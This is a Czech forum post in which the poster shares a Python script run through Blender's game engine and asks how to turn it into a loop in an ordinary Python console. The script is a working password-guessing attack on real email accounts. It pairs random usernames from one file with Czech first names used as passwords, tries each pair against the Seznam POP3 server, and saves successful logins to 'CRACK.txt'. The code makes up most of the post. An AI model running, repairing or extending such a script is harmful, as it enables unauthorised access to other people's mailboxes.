import getpass, poplib, random,time, os
GL=GameLogic
cont=GL.getCurrentController()
own=cont.getOwner()
konecc=cont.getActuator("konec")
restartovani=cont.getActuator("restart")
#f=open("ceskajmena200.txt","rb")
#pocet=0
#while f.readline()!="":
# pocet=pocet+1
#print pocet
own.prop=random.randint(0,250)
otevreni=open("ceskajmena200.txt","rb")
vypis=otevreni.readlines()
otevreni.close()
heslo=vypis[own.prop][:-2]
#f=open("mailynew.txt","rb")
#pocet=0
#while f.readline()!="":
# pocet=pocet+1
#print pocet
otevreni=open("mailynew.txt","rb")
vypis=otevreni.readlines()
otevreni.close()
mail=vypis[random.randint(0,92)][:-2]
soubor=file('heslasmaily.txt','a')
posloupnost=[mail,heslo,time.ctime()]
for cislo in posloupnost:
cisloText=str(cislo)
soubor.write(cisloText+', ')
soubor.write('\n')
soubor.close()
server = poplib.POP3("pop3.seznam.cz") # napr.
print server.getwelcome()
print server.user(mail)
try:
print server.pass_(heslo)
print (mail+"@seznam.cz"" "+heslo,time.ctime())
soubor=file('CRACK.txt','a')
soubor.write(mail+"@seznam.cz"" "+heslo)
soubor.write("\n")
GL.addActiveActuator(konecc,1)
except:
GL.addActiveActuator(restartovani,1)
Skript použivam přes blender, vubec nevim jak ho použit v normalní konzoli pythonu jako cyklus "while heslo!=server.pass_()"
vubec nevim v blenderu jsou vestavěný operace, jak jde ze skriptu vidět, když heslo najde tak konec, program se vypne, když ne restartuje se ty mřížky u zpočítaní řádku ceskajmena.txt a mailynew.txt je asi lepší napsat ručně, protože mi to dělalo chyby tak nevim.
Fórum › Python
Blender


Přidej příspěvek
Toto téma je starší jak čtvrt roku – přidej svůj příspěvek jen tehdy, máš-li k tématu opravdu co říct!
Ano, opravdu chci reagovat → zobrazí formulář pro přidání příspěvku
×Vložení zdrojáku
×Vložení obrázku
×Vložení videa
Aktuálně jsou podporována videa ze serverů YouTube, Vimeo a Dailymotion.
×






























































Uživatelé prohlížející si toto vlákno
Uživatelé on-line: 0 registrovaných, 34 hostů
Podobná vlákna
Blender 2.57b — založil predy
Blender seka se — založil johnysek12
Python a Blender — založil Frazer
Blender -naco je tu toto? — založil black evil
Moderátoři diskuze